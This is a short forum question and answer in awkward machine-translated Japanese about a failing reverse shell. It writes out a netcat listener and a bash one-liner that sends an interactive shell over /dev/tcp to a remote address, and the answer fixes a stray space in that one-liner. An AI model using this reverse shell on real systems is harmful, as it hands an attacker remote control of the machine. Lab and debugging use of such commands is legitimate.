netcatエラー:デバイスに不適切なioctl

netcatエラー:デバイスに不適切なioctl

bash onelinerとnetcatリスナーを使用して「リバースシェル」を作成しようとしています。この組み合わせは数日前にはうまく機能しましたが、今は接続時にのみエラーが発生します。このエラーの意味とトラブルシューティング方法を知っている人はいますか?

ネットワーク猫モニター

netcat -lvnp 1234

クンクンスクリプト:

bash -i >& /dev/tcp/10.10.10.2/1234 0>&1

間違い(bashスクリプトを実行するとき)

bash: cannot set terminal process group (21268): Inappropriate ioctl for device
bash: no job control in this shell
bash: 0: No such file or directory

これがこの問題を解決するための正しいスタック交換であるかどうかはわかりません。自由に移動してください。

ベストアンサー1

あなたの投稿では、bashスクリプトは次のようになります。

bash -i >& /dev/tcp/10.10.10.2/1234 0>&1

私の考えでは、実際にコンピュータで次のように見えるようです。

bash -i >& /dev/tcp/10.10.10.2/1234 0 >&1

0 の後のスペースに注意してください。見つけて削除すると再び機能します。私はそれがどのようにそこに到達したか言うことができません。

おすすめ記事